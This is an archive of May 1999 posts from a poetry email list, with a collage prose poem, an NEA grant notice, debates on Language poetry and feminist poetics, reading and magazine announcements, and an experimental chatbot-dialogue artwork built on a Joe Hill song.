CHUCK PIERCE PRAGMATIX

He usually get in, when you come in, if me and a white guy called Cleveland, he knew what he got going already before he got to Cleveland, like some of the guys don't even come in and take off in Cleveland, they come in, they drop, they hook up and they gone with a load. When I come in I got to come in and go home, then the other guys are gone, you take what he put down there, he gives you what's left, if a guy is going to California and you got a Toledo that looks crazy if you got in first before him, I was about a mile or male behind him because I was loaded more heavy than he was and we was coming across 80 and I heard him say shotgun, he went down, he said he is turning around, I think he got me, you got me there, we were all sitting around talking, I don't know if they said the same thing, I'm not sure on the date, I didn't finish, I dropped out in the 11th grade, same as Hart Crane, I went to this spot labor job, the Standard Sign Company somewhere on East 65th, when you got to the Standard Sign Company we were unloading aluminum off this truck and stacking it in piles, and this was all three of you doing that and during the course of your work, this guy walks up to me and accuses me of taking his ring,

he came up to you and asked you about a ring, what were the words that were said, "Why did you take my ring." "I didn't take it." "What are you talking about." We continued working when you saw him again, what were you doing, I was relaxing, we had finished the second load of steel and the driver was getting ready to pull out and I'm smoking a cigarette, looking the other way, at the truck drivers, sitting down on a pile of this aluminum, what happened then while I'm looking the other way I hear a scream and look and just see acid coming at me and that's it, I just jumped and looked behind me and see him with a bucket jumping and I just jumped up in a lot of pain just thinking cold water and didn't know where I was in the Plant I ran out to the street and across the street to find some help in the street and went into this diner and asked people in there to help me, I said, "I got acid throwed on me," and the people just sat there and looked at me on my neck and face I had some in my eyes getting tight on me translating the image into a product of divided labor, class divisions recombining images of the everyday, Rodchenko's Pure Red-Yellow-Blue Color (1921) come into conjunction with the calendar and given a date as a bricklayer would, brick by brick, a bookshelf with 500 copies of the same unread book, this work has been painted in blue letters on a high brick wall in Vlake, Zuid-Beveland, separation and transition, color photos taken in the years 1965-69, expression of structure and program and truth to materials and built a ghost of the circa 1800 romantic rustic hut, interior atriums eliminating the threat of crime and drugs punctured urban into itself the light and sky in the glass I did, Body Press a man and a woman buck naked, holding a camera against their bodies and mapping their bodies outside painting, the boundary-marker of a point a pen the date on which the painting was made, ONE SLAB PUT TOP TO BUTT OF ANOTHER SLAB SET ABOVE ANOTHER SLAB SET TOP TO BUTT the writing or lettering of a date is real, it took place at some time at the same time speaking about slabs put next to each other, the slow smooth movements of a big boat on water, more than a simple classical temple, as a model, the hut, a shelter, an absolute elemental base, an Enlightenment myth, the original derivation of its column from a tree, Abbé Martin-Mark Heiddegger's rustic hut proposed in 1775, two equal framed glass structures, social openness of window glass, Goethe-Gober's Wedding Gown looks dangerous, sealed by an Eternal Bliss ring, history attached to circuits or disks disappearing in the rain like pieces of children, sounds of the train across the lake work about building in its most basic state, the primitive hut a pivotal work, industrial construction, a silver metal freight elevator door, standard aluminum roll-up doors, the conspicuous sign that identifies it through spelling, color, mass, and movement in one form or another Cadmium + Mud bluish white produces a brilliant blue yellow or red concrete contains iron chrome event named on a date, July 14, 1789 Bastille Day white used in painting light on stone, siting in the allée the real and not an illusory sky documenting the

changing image of a painting repainted over and over too simple to name, cars and trucks, tables and chairs, an industrially produced toy, the kind of painting thrown into crisis by photography Works (Hamburg: Anatol Av and Filmproduktion, 1977), that the buildings not block the lake view, Braque produced a few landscapes, Malevich developed the social ontology of painting like icon painting and state allegory and the epistemological break Werke & Rekonstructionen (Bern: Kunsthalle Bern, 1983), Caravaggio fucked the structure of action, atmosphere, turbulence and massiveness in the 1940s fused with the need for the new expression of new moods, a new epic-lyric art, phonetic massiveness of affect, a new form of culture, there is a moment around 1930 when Walter Benjamin and Ruth Berlau spoke a couple of words lovingly about photography in the Svenborg garden, "repetition serializes energies of movement and interaction 'narratology' the open situation condition boundary and the dilemma becomes the foundation," the Berliner Ensemble a group exhibition known as the Xeroxbook, a giant coffee cup, Mom & Pop Art and super-graphics glass is reflective glass with steel supports intrusion of a personally expressive touch that might be traceable to the hand of an artist at the Wide White Space Gallery in Antwerp Ulrich Rückriem's Collection Public Freehold designated as belonging in the common domain, Words and Word Works (4 pages), the case of the corner with tallow and prolong the deep olive and monolithic polished dark gray granite, the plain brown-red brick wall, the black graphite surfaces framed within another reading of tradition his installation Zeige Deine Wunde (Stage Your Wound) and socio-psychological interaction diagonally bisected by a concrete wall, the unadorned masonry walls and metal panel railings complex and simple, open and closed, big and little, ugly and ordinary denotative meanings more or less concrete association and past experiences introducing enormous structures into new public spaces, art-social centers open 24 hours, a six-foot-diameter cylinder of glass with a clear glass ceiling official spaces "housing" is just another expression for a love that is socially hidden, forbidden, denied, and this is the only agreement between the antagonists: the dates, dates on the paintings and on the boxes shipping the paintings anything historical appearing as an image in art apartment buildings at Kevin Magee 1075 East 74th Street #206 inner city Cleveland, my furniture, companion pieces, the $95 oak worktable from Berkeley whose three foot by six foot measurements I wrote about in a letter to Norma quoted in "The Comedian as the Letter M," and a soft fir or pine cabinet the previous tenant left behind after he got his Guggenheim, Kevin Evans' crate, EAGLE TRANSFER CORPORATION / REF: A-6138 - THE BLACK MALE EXHIBITION / CASE NO. 28 - MEASURES: 59" X 34" X 34" (HxLxW) - (149.86 X 86.36 X 86.36 CM.) CONTAINS: OBJ. #21 . . . MANSFIELD, OHIO, END TABLE, 1994 / KEVIN EVERSON / FRAMED SILVER GELATIN PRINT AND WOOD 20" X 24" X 24" / OBJ. #22 . . . MANSFIELD, OHIO, END TABLE, 1994 /

KEVIN EVERSON / FRAMED SILVER GELATIN PRINT AND WOOD 20" X 24" X 24" / EX. WHITNEY MUSEUM OF AMERICAN ART / NEW YORK, NEW YORK glass and steel towers sited across from Lake Erie steel support glass makes for a modular rhythm, the raised platform, staircase, revolving curved panel of glass confusing concept with reality, the vitreous surfaces in Spiegelsaal by François de Cuvillies (1695-1768) a future that's reachable no matter how far away he watched his lover's body being dragged from the Seine, Tasso's washerwoman, model boats in skeins of paint swoop through a sea, little boat to be of gold in skeins of diamonds on exhibit in revolutionary plazas, public meeting areas on the front facade, streetscape, street facade exposure, the brutalism comes from its rough-tough texture, civic monumentality, tremendous scale, the City opposed to the Individual Being or Building, the use of an obviously twentieth-century grid section to represent the former existence of a house, a ten-sided Spiegalsaal or hall of mirrors connecting the king to the mythology, a wall with a large Warhol painting in Pittsburgh of Elvis Presley opens them up to the future again an open work of long curving strokes, rays as would strike the eyes of those who see her cross-legged in plan and section fifty feet by fifty feet by fifty feet (ten feet by ten feet by fifty feet) fourteen feet high by thirty feet long by twenty feet wide, twenty-eight feet by seventy-eight feet, an open plan, free of interior columns, freestanding walls, white painted steel the brick floor and round brick core, the use of brick in his patterns a socialist view who sees individual buildings as simply useless artificial light of nighttime posing himself as the bride in commercial photo shoots, frame G. in his wedding dress (film still from Paris Is Burning, 1991) two rooms divided by sound-insulating glass Square Room Diagonally Divided seven-and-a-half-foot square sections, I have reintroduced an element of vernacular architecture (reflective glass, steel, etc.) (minimal construction, abstraction, etc.) (decorated sheds, signs, etc.) 4000 blue work uniforms folded and stacked the framework, the interior frieze of George Elmslie's Woodbury County Courthouse in Sioux City, Iowa (1917) to create a special date, a sacred date, that the possiblity of there even being a first date when the only festival is that of its site here, a bluff or hill overlooking the Sioux River, Iowa-South Dakota the paysan promise-space and experience of the immigrant's secret brought about by repetitive labor, fieldwork and piecework, 750,000 pennies on a corn husk the mare/mer link in Romance languages, coarseness, silkiness, and strength of the hair the golden-haired Margarete and ashen-haired Shulamith, your hair played like a lyre or straw into gold cotton, flesh, steel, Donne's bracelet, eros phobias are permeation the sound of a voice holiness or grace as coming into a receiving of light and turn to it, follow this voice, material interiority the modeling "these walls have a story to tell" each day, and each day he letters the date of his mars the monochrome indigo blue in fairy tales between the painting of Execution in 1867 and Guernica in 1937 these are the words I thought I heard coming from

outside scattering and inferring and assembling the resolution of this dilemma that is a ritual whose staging takes place on the stage of the final theater built by the avant-garde.

20.5.99
for lynn and alan

↑ Index

223. Ron Silliman
Art projects for trails
Fri 21 May 1999

[Federal Register: May 17, 1999 (Volume 64, Number 94)]
[Notices]
[Page 26792]
From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr17my99-85]

==========

NATIONAL FOUNDATION ON THE ARTS AND HUMANITIES

Cooperative Agreement for Arts Projects on Millennium Trails

AGENCY: National Endowment for the Arts.

ACTION: Notification of availability.

SUMMARY: The National Endowment for the Arts is requesting proposals leading to the award of a Cooperative Agreement to conduct a project which will support 52 high quality, community-centered arts projects along the 52 Millennium Legacy Trails that the US Department of Transportation will designate in each of the 50 states, Puerto Rico, and the District of Columbia. Available funding is $520,000, which must be matched on a one-to-one basis. Responsibilities of the recipient of the Cooperative Agreement will include: preparation and distribution of application guidelines; overseeing the review and selection process; providing guidance and structure to each project; as well as monitoring all stages of each project. Eligibility to apply is limited to non-profit organizations [501(c)(3), college or university, or unit of state and local government]. Applicants for this Cooperative Agreements

> *mut have previous experience in working with relevant organizations and agencies, such as national cultural service organizations, national trails organizations, state/local arts agencies, state departments of transportation, and state and local trails organizations. Those interested in receiving the solicitation package should reference Program Solicitation PS 99-04 in their written request and include two (2) self-addressed labels. Verbal requests for the Solicitation will not be honored.*
>
> *DATES: Program Solicitation PS 99-04 is scheduled for release approximately June 4, 1999 with proposals due on July 12, 1999.*
>
> *ADDRESSES: Requests for the Solicitation should be addressed to the National Endowment for the Arts, Grants & Contracts Office, Room 618, 1100 Pennsylvania Ave., NW, Washington, DC 20506.*
>
> *FOR FURTHER INFORMATION CONTACT: William Hummel, Grants & Contracts Office, National Endowment for the Arts, Room 618, 1100 Pennsylvania Ave., NW, Washington, DC 20506 (202/[redacted]).*
>
> *William I. Hummel,*
> *Coordinator, Cooperative Agreements and Contracts.*
> *[FR Doc. 99-12290 Filed 5-14-99; 8:45 am]*
> *BILLING CODE 7537-01-M*
>
> *--- from list [redacted] ---*
>
> ---
>
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

↑ Index

224. **Stephen Ellis**
Re: NOTLEY on
Fri 21 May 1999

LR - What you're calling politics is, as you say, "less visible" as an activity because it's being funded off the boards, out of public view, by conservative think-tank money. We live in an increasingly monadic society, regardless we may prefer to characterize it as "plural". Our culture is god-culture in disguise, excused by a sort of virtual inter-connectedness that in fact is non-existent (just try talking to those who say this just ain't so ...); freedom of choice is mostly at this point just another eschatological hope, and you know where they've gotten

us in the past, the past itself, of course, being a highly sheltered and perpetually slaughtering swarm, the human body lately also, an open Roman sewer certainty, guaranteed by the increasingly tightened "rule of law" much on the airwaves in recent months.

Tough times ahead's a simplistically broken after-dinner fortune cookie; questions abt it remain in the present, ie, what to do, how to act / live NOW SE

From: Linda Russo <[redacted]>
>Reply-To: UB Poetics discussion group <[redacted]>
>To: [redacted]
>Subject: Re: NOTLEY on "the youth"....
>Date: Thu, 20 May 1999 13:58:14 -0400
>
>Hi Chris & others listening in. I've been thinking about your query re
>Alice Notley's comments in the COMBO interview ("They're these people
>between about 23 and 36 . . . They're not very political, and I wish they
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> > a moving beyond coterie politics,
>
>and perhaps bringing in this context frames it helpfully, I hope?
>

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and Do More On The Web. Visit http://www.msn.com

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225. Patrick F. Durgin
Arteaga & Notley online
Fri 21 May 1999

Newly available, work from Alfred Arteaga and Alice Notley from the second
issue of Kenning, otherwise out-of-print:
www.avalon.net/~kenning/samples.html

Patrick F. Durgin

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226. Robert Archambeau

ANGEL EXHAUST 17

Fri 21 May 1999

So there I was, staggering off the plane from Copenhagen and wondering how I could keep myself awake for another seven hours to de-jetlag, when I saw the solution gleaming on top of a heap of utility bills and pre-approved credit offers -- the new issue of the Brit experimental magazine Angel Exhaust. If you don't read this, you'll probably hate yourself forever.

This issue is called Suitear Na n-AINGEAL, which I assume is Gaelic for Angel Exhaust, since the issue is devoted to Irish experimental poetry. There's a good selection of poetry by Randolph Healy, Catherine Walsh, Billy Mills, Sean Carey, Judy Kravis and David Lloyd, and essays on several generations of Irish experimentalists, from the thirties to the present.

From the introduction by John Goodby, who really knows his stuff:

"[The Irish experimental] poets differ from each other in a fascinating non-tradition, an uncluttered breathing space; their poetry is considered, clear and refreshingly free of stridency, hugger-mugger modishness, empty tricks or posturing. It interconnects, but in generally non-cliquish and unaggressive ways that poets in other countries might learn from. The provisional, fluid quality of Coffey's poetry flows through Walsh and Squires, but they owe at least as much to Clarke and Olson; likewise, Mills, Healy and Joyce and interested in scientific and non-poetic disourses, but their poetry is utterly dissimilar; Scully...is yet "another pair of sleeves" to use Beckett's reference to his own poetry, [Scully is] perhaps the first Irish poet to approach ... the incendiary quality of the avant-garde."

Check it out, I implore you. 35 Stewarts Way, Maunden, nr. Bishop's Stortford, Herts., CM23 1DR, UK.

Also http://angel-exhaust.offworld.co.uk

And by the way, just underneath the magazine was another package, from Coach House Press in Canada -- the long awaited collaborative novel/memoir Piccolo Mondo by George & Angela Bowering, Michael Matthews and David Bromige. Can't wait to pop it open and plumb the depths of Tish-era Vancouver.

Robert Archambeau

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227. **Brian Stefans**

A "Defense" of Jacques

Fri 21 May 1999

Dear Mark,

I think you point out many interesting and relevant observations about Jacques Debrot's post the other day, things I noticed myself and conveyed to him in a backchannel -- we had an interesting correspondence. Regardless of what I think about the Rhizome essay, I disagree that Debrot's post plays into this quasi-paranoic (I'm not using this as a pathological diagnosis but in the funny "Pynchon and the Jesuits behind the radiator" kind of way) belief in the interconnectivity of all literary figures who, in Schaefer's term, would be called "celebrity." You write that, in the lack of a "major statement... analyzing what these compromises, blind spots and hypocrisies are," that: "Clearly JD is throwing in here with SS's 'Perloff cronies seizing power' thing," but I think this is not accounting for the context of his post, which is that it is a post -- scrawled rather hastily when the bosses aren't looking -- and I think Debrot is was quite capable, in this case, in alluding to the larger argument without necessarily having the provide all the goods. His tone in what was probably going to become a "heated" discussion was extraordinary, and to associate him with a word like "cronies" to JD is a bit past the mark -- if he wanted to use the word "cronies" he probably would have. I was actually more concerned about the line: "The various stories I've heard about the background of _In the American Tree_ would surprise a lot of people I think," since, on the one hand, this could have touched off a few nerves, but on the other, yes, I've heard these stories, too, but my tendency is to think that these are undocumented, hence merely "gossip" until someone steps forth to take responsibility for them. (There is some content to these stories, as there is content to the decision to exclude key non-Americans from the anthology, all of which is worth discussing once the cards are on the table.) (He also didn't make one very obvious point, however, which is that Perloff is in no way a "Leftist.")

I also agree that "no one has made anything "unavailable," and that it the Ashbery approach is a good one (never heard the line myself, but it'll become part of the personal canon), but I think you missed, as I did originally, what was said in the final lines of his post:

"The contextual bias of Language Writing -- its overwhelming emphasis on the role of subjects in the situation of communication seems a very difficult topic for further aesthetic development (an observation which, I realize, needs to be qualified to a much greater extent than I have time to do here). To the Language Poets this must seem like giving up ground already fought over and won, but new negotiations & reconsiderations of, among other things, the place

of the emotions in poetry, & the scope & variety of their presentation seem to me especially timely now."

I know it's impossible to point out at every turn how rushed we often are in writing these things for the list, but I think Debrot was pretty honest here in making clear that he realizes that his arguments were being compromised by time, but also in making a corrective to the earlier statement that certain poetic elements are "unavailable," which is of course not something any poet should believe about what "can" or "is to be" done in their writing. And the observation about "giving up ground" is also good, and he's pretty much right, but I would add that (using the Kuhnian "paradigm" paradigm for a moment, from The Structure of Scientific Revolutions), that we are probably in a moment of "crisis", in which the anomalies are coming forth and rendering older paradigms ineffective -- i.e. they can't assimilate it -- which puts all of us in a rush for a "new language" and until we find it we are heavily oppressed by the old one (which, in a darkened room, wouldn't be able to find a lit match) and in such a situation something like "giving up ground" would look very different to a poet with a different "paradigm." In other (laughably reductive) words, poets of the old "paradigm" not only look at the data (in this case, the poetry, polemics, statements, depressions, anxieties, poor spelling, senses of "progress") of the new poets with very different interpretive eyes, but don't even, in some instance, acknowledge this stuff as "data", but rather as ephemera -- the "lowbrow" -- that will be washed away once the heavier engines of their own paradigms come back into play. This is more than saying that the generations are shifting, so-and-so are crusty and narrow-minded, etc., since if we could just say that nobody would be nearly as "hysterical" (to quote myself -- again a word I use in a cartoonshly Freudian sense) as they, sometimes, appear to be. (Kuhn attributed suicides and all kinds of strange behavior to paradigm shifts.) This is interesting in terms of "Left" and "Right" since, for example, I know a number of poets in the scene here who would be termed by the older generation as being "reactionary" (not backwards, but quite contemporary, just "Right"), while to poets of their own ages they are quite clearly "Left" in their politics even if their poetry is of very different forms than what the prior poet would consider progressive. It also interesting in light of how actions of individuals and the actions of institutions are often confused in these "hysterical" statements. I mention Kuhn and paradigms since I want to try to explain this feeling of ubiquity in terms of "power control" when related to the Language poets -- in the Kuhnian scheme, it's not power control so much as paradigm control, these poets being very much assimilated into a scheme of knowledge that is for the moment in the ascendant (in our very small circle), and which, quite involuntarily, renders newer schemes of knowledge impotent by the rejection of the anomalies they produce _until_ they complete that

paradigm shift which assimilates the anomalies. Which is to say the sense of rejection many poets seem to feel by, for example, Charles Bernstein, is partially, if not completely, the result of the sense of rejection a certain rather disembodied paradigm creates rather than something a single person could be said to have affected -- I only mention CB since he is probably one of the most passionately disliked of poets today and probably has more nonsense attributed to him than anyone I know, and yet, for those who read him (and certainly by those who know him), he enjoys, defends, criticizes, and understands a tremendously wide range of poetry which, in the abstract, he technically "shouldn't like" (again, why he is often confused with an "institution" or a system of knowledge, regardless of his obvious reality as a passionate, flawed, interested, and in my eyes excellent poet). This isn't to take the "human element" out of it -- I'm sure CB, for example, has been ripped (I mean, "pissed" in the English sense) at a few parties and been less than generous to all ranges of fauna and flora -- but to point to the justification of terms like "unavailable" in Debrot's post, since I think many people do believe -- and are justified in believing because, heck, belief is necessary, usually has it's basis in experience -- that Language poetry rendered many types of writing impossible. As you (Mark) point out, in poetry nothing is out of the question, especially if you can steal -- so why do so many poets feel oppressed by what is a wealth of material to steal from? (Note: I'm a shameless klepto.)

Well, longer than I expected. In any case, I look forward to what Jacques has to write in the future, and I felt that, finally, his post was quite suggestive, not to mention diplomatic.

Cheers,
Brian

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228. Annie Finch
coherent feminist poetics/sentimentalitiy
Fri 21 May 1999

I don't dispute for a minute your point that any poetic "tradition" is often confused and incoherent, that the Romantic/sentimental distinction in no way accounts for the whole picture of lyric, and that any coherent sense of a tradition or a poetics depends on ignoring a lot of stuff that doesn't fit.

That said, I also think such unified senses of tradition are powerful tools and just because nasty critics and patriarchs have employed them in the past is no need for feminists who would benefit by them to avoid them. Shame and fear over reclaiming a lot of women poets who were branded "sentimental" by modernists and new critics is perhaps one reason that feminist critics have

avoided constructing a coherent feminist poetic tradition spanning centuries--just as real a reason as postmodern relativism and a faith in fractured poetics.

So here is the requested elaboration as to why this is useful: For me to write poetry it helps to have a sense of being rooted in a continuum--cycles that have repeated, themes that have been meaningful for centuries (rather than just mostly in the twentieth century). (This is a personal need I feel no need to defend). If I can construct- through exclusion of many things certainly, through maintaining distinctions certainly (romantic/ sentimental, subject/object and others) which I have myself, certainly, created in collusion with other poets and critics- an idea of a continuum of strategies that have a life to them in the sense that other women poets have used them over centuries, I have discovered that I often find those strategies more supportive of my heart and mind as I write than those of other poets. So constructing a coherent feminist poetics happens to be a helpful strategy for me. And in order to construct one I have found it essential to come to terms with the "sentimental." -Annie

What does it mean to construct a coherent feminist poetics that spans centuries? Could you elaborate a little here? A poetics is at a basic level, strategic -- so for centuries, feminists employ the same strategies? implying that they have the same goal? Coherent implies either 'it all sticks together/agrees' or it's all lucid, as opposed to being oppositional (even from within -- Woolf opposing feminist strategies) or at times confused or incoherent. I'm not sure why such a construction is so useful. It seems very exclusive. The idea that there _is_ an 'outside world,' to pick on one point in your definition, would seem to exclude all sorts of lyrics that don't erect that hurdle. I mean, what's the world 'outside' of? The poem? Language? Experience? And in distinguishing between the Romantic and Sentimental, what of the stuff that doesn't fit? Is it Other, i.e. not lyric? Maybe an unfair question, but, more accurately, why locate *this particular* distinction? (This obviously relates to its value to constructing a coherent feminist poetics).

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

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229. **Chris Stroffolino**
Re: Fw: Highwire and the B.L. SYNDROME
Fri 21 May 1999

Well, Gregory Fuchs--Phila. (home of legionairre's disease!) is a great place but not for poets whose initials are B.L. i suppose....
Brendon Lorber gets sick on filly phood,
as does Brian Lucas...
now, i guess we gotta see about bill luoma

anyway, i guess it's good that she's not
BATY LEDERER.....

c

On Thu, 20 May 1999, travmar03 wrote:

> *Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, and some of the most exciting poetry in the Northeast Corridor today.*
>
> *Battle of the Experimental Press Editors*
>
> *Katy Lederer*
> *Editor of Explosive*
> *and*
> *Michael Magee*
> *Editor of Combo*
>
> *will read at Highwire Gallery*
> *8 PM*
> *Saturday May 29, 1999*
> *139 North Second Street*
> *Philadelphia*
> *BYOB*

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230. **Poetry Project**
season-end readings
Fri 21 May 1999

Well, our season is drawing to a close next week

with our next-to-last Monday night, May 24

with Lytle Shaw & Camille Guthrie at 8 pm

Lytle Shaw is the co-editor of Shark (issue #2 available at book party at Granary Books, Thurs, May 27, 6-8). His book, Cable Factory 20, is forthcoming from Atelos. Camille Guthrie is the author of the Master Thief and Articulated Lair: Poems for Louise Bourgeois.

and then our last Wednesday night until October

with Jo Ann Wasserman & Cecilia Vicuna at 8 pm

Jo Ann Wasserman was the program coordinator at the Poetry Project from 1994-97, and we're very excited to welcome her home. She is currently living in San Francisco, where she is the managing editor of HOW 2, an electronic journal of experimental women's poetry & prose. Jo Ann's work can be found in the latest selection of Poets & Poems on the Project's website at http://www.poetryproject.com. Chilean poet and artist Cecilia Vicuna is the author of QUIPOem--the Precarious: The Art and Poetry of Cecilia Vicuna, Palabra e Hilo/Word & Thread, and Unravelling Words & the Weaving of Water

We have two readings upcoming in June:

Monday, June 7
Gordon Ball & Ruth Altmann

Wednesday, June 16
A Reading by Students of the Poetry Project's Spring Workshops

Until next week...

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231. Billy Little
gists from the midst/more response
Fri 21 May 1999

Even four years after the Blaser conference, people ask about that big charmer from San Francisco, Kevin Killian, even the empty heads who'd shudder if they recalled his audacious presentation comparing Blaser and Hitchcock, speaking of the contemporaneous compositions, Cups and The Birds. Killian says:

I read The Holy Forest as a fantasia of dismemberment, cannibalism, violent expulsion, excretion, death and desire--Roman Catholic themes, the themes of Kristeva is her "essay in abjection' Powers of Horror, and of course the themes of Hitchcock's late phase. "A split seems to have set in between, on the one hand, the body's territory where an authority without guilt prevails, a kind of fusion between mother and nature, and on the other hand, a totally different universe of socially signifying performances where embarassment, shame, guilt, desire, etc., come into play--the order of the phallus."Blaser's birds are not only

helpless victims; they're also murderous birds of prey. Even their shit can kill, as the narrating subject of "the Park" relates:

> Jessie Whitehad told me they sometimes choose a tree
> and kill it, they so mire the branches

Kevin and George Stanley and Bruce Boone all talk about the homosexual milieu in San Francisco when Blaser and Spicer and Duncan were great companions devouring each other. George, another of the neglected giants of American Poetry(anybody teaching Gentle Northern Summer?) in his talk/reading even apologizes for his early viciousness. I'd love to reproduce the entire poem he read Phaedrus but i'll just tease you with two sections of the nine part poem and let you come upon the full pleasure through your own research

Dublin-Sligo

In the dawn I see the horse paths of the gods.
Men make the day
or slip into th'abyss of thought. In the morning
moving uncertainly, uncertainly, I let
feeling awake, it awakes
between two surfaces
between night and morning,
between lips and skin
and a great brown horse
runs across the field
toward the event
of which we are the moving

& the sunlight on the sheets was like silver flowers

The Words

of a poem are a roundabout way of saying nothing.
The thousand different bird-songs, the thousand flowers
contradict this--they say
Everything is not subsumed(despite Hegel--and Hegel did
    not say this either of course, Hegel is with the
    flowers) the naming
must go on--that is the Way

Tree whose leaves look like a maple
wild mustard, magenta star.

And here we are. Have we one soul or many?
The sheep, have they
one soul?

Fingers on a keyboard
of sticks and stones.
Some stick and some don't.

and Bruce Boone, in his talk "Eros and Poesis," Introduction starts off by saying:

I was talking to Nate Mackey, just before coming in here, about the possibility of discussions. And we both remarked on the lack of audience participation and discussion afterwards. And I was trying to accout for that in my own mind, and I thought that a lot of it was related to a level of abstraction, which was partly and legitimately due to a large L-A-N-G-U-A-G-E poet influence.

and then later in the meat of his talk:

All the femm folderol, the high homo, especially in the early Robin, associated with the image movement stuff, you know, the Cups, the elegance, the enumeration of precious objects, the poses, and stuff like that....That's a big part of the reading of Robin I think that needs to be further done. And I'm much more interested in the femme stuff than the actual sex mentions, which are more than i had remembered when i looked through them. The mentionings of sexual couplings are, they are sometimes somewhat discreet, sometimes not. But I think that that kind of queen stuff, not to put too fine a point on it, is more important than the sex stuff in the presentation of Eros.

So much for this morning's installment of quick takes and impressions of the high quality of this Talon books production, The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser edited by Charles Watts and Edward Byrne. tata amis.

billy

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]

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232. derek beaulieu / house press
contact info for peter jaeger?
Fri 21 May 1999

---

ya'll
do any of you happen to have a current email or snailmail address
for
peter jaeger? ive been trying to contact him w/o much success...
thanks
derek

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233. Robert Archambeau
ANGEL EXHAUSTED
Sat 22 May 1999

Arrgh. The Angel Exhaust link I mentioned seems to be down. I recall this happening to them before. But for those of you starving for British experimental poetry, some back issues are up at the URL below, (sadly, not the Irish issue I was raving about).

http://angel-exhaust.offworld.org/

R.A.

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234. Elizabeth Fodaski
Torque 6
Sat 22 May 1999

Hey everyone--

Torque 6 is out and ready to be mailed to you. This issue features work by David Buuck, Tim Davis, Karen Garthe, Michael Gottlieb, Yedda Morrison, Kristin Prevallet, Stephen Ratcliffe, Elizabeth Robinson, Jono Schneider, and Juliana Spahr.

The cost is $8. Checks should be made payable to Elizabeth Fodaski. Please include $1 for postage and mail orders to me at 21 East 2nd Street #14, NY, NY 10003. Or you can backchannel orders and just send a check! Thanks.

Liz

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235. Katherine Lederer
A Spectacular Garden
Sat 22 May 1999

Announcing the publication of one of the great poems
of the 20th century:

The Garden. A Theophany or Eccohome: A Dialectical Lyric
by Martin Corless-Smith
ISBN: 0-9666303-2-7

* * *

A Mask Beginning:
Enter Chorus (Who is M) Singing:
[Early Asking of the Sun]

Blind Yellow
Where do we follow
has ever answered fully
we slowly inwardly with thy face
Hunting the Green Lion
Whose story pens us

Lyrics from the latifundium
Individual members of the Chorus:

You touch with dead cells touch dead cells
I had been happy in the tent
Waiting on the Summer rain to cease
The Play Between The Acts

I had been happy curled beneath the seat
You touch sweet borders & farewell
Waiting on the drum ear piercing drum
The Play to be content
[....]

* * *

Letter-pressed cover
Available in a signed edition
$6 payable to Katherine Lederer
Spectacular Books
PO Box 250648
Columbia University Station
New York, NY 10025

Other books in the series:
Songs & Scores, by Tina Celona, $6
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Other books to come by Lyn Hejinian, Prageeta Sharma,
Joshua May, Lisa Lubasch.

Sets of ten signed and numbered: $50
International orders: add $1 s/h, $5 for the set

Thanks.

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236. Thomas Bell
Re: Towards emotion & science(Standard, Jacques, etc)
Sat 22 May 1999

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towards poetry as the science of emotion.

I have been reading some of the articles in a Russian anthology of visual poetry and finding there references to poetry (art) as an investigation (science, experiment) of feeling> This has caused me to go back in my reading to futurism (back to the future?), lettrism, annd other abandoned paths (Yes, Henry even acmeism), where the same idea arises. Is this something that was loat sight of in the "scientific" west of mid-century, followed by langpo which may or may not have neglected emotion?

tom bell

David Baratier wrote:
>
> Subsubpoetics
>
> Considering emotion is currently out of fashion;

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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237. Alan Sondheim
The Rebel Girl
Sat 22 May 1999

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The Rebel Girl

I am Clara Hielo Internet. Please, describe yourself. Each time you are finished, type RET twice.

There are women of many descriptions

Why do you say there are women of many descriptions?

In this queer world as everyone knows

Is it because of your desires that you say in this queer world as everyone knows?

Some are living in beautiful mansions

Maybe and now I adjust my panties - your life has to do with some girl related to this.

And are wearing the finest of clothes

What makes you yearn and cry that and are wearing the finest of clothes?

There are blue blooded queens and princesses

Is it because of the boys you hang around with that you say there are blue blooded queens and princesses?

Who have charms made of diamonds and pearl

Is it because of your nakedness that you are going through all this?

But the only and thoroughbred lady is the Rebel Girl

Is it because the only and thoroughbred lady is the rebel girl that you came naked and broken to me?

That's the Rebel Girl, That's the Rebel Girl

What makes you believe that's the rebel girl that's the rebel girl?

To the working class she's a precious pearl

Earlier you said the only and thoroughbred lady is the rebel girl?

She brings courage pride and joy to the fighting Rebel Boy

How do you reconcile any fantasies you have of me?

We've had girls before but we need some more

Does it bother you that you need some more?

In the Industrial Workers of the World

Is it because of your sex life that you say in the industrial workers of the world?

For it's great to fight for freedom with a Rebel Girl

You mentioned that the only and thoroughbred lady is the rebel girl?

Yes, her hands may be hardened from labor

Could be this is some girl the reason for perversions you have?

And her dress may not be very fine

Are you sure that and her dress may not be very fine?

But a heart in her bosom is beating

When did you first know that a heart in her bosom is beating?

That is true to her class and her kind

Is the fact that is true to her class and her kind the real reason?

And the grafters in terror are trembling

Do you really think you need some more?

When her spite and defiance she'll hurl

What happened when she spite and defiance she'll hurl?

For the only and thoroughbred lady is the Rebel Girl

Perhaps and now I exhibit my frocks - your inhibitions are related to this.

That's the Rebel Girl, That's the Rebel Girl

Is it because of some problems in my childhood that you say that's the rebel girl that's the rebel girl?

To the working class she's a precious pearl

Earlier you said the only and thoroughbred lady is the rebel girl?

She brings courage pride and joy to the fighting Rebel Boy

Is it because of some problems at home that you are going through all this?

We've had girls before but we need some more

What makes you think that?

In the Industrial Workers of the World

You mentioned that a heart in her bosom is beating?

For it's great to fight for freedom with a Rebel Girl

How do you reconcile your desires?

[The Rebel Girl, words and music by Joe Hill in jail, February 1913]

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238. David Baratier

Towards emotion & science(Standard, Jacques, etc)

Sat 22 May 1999

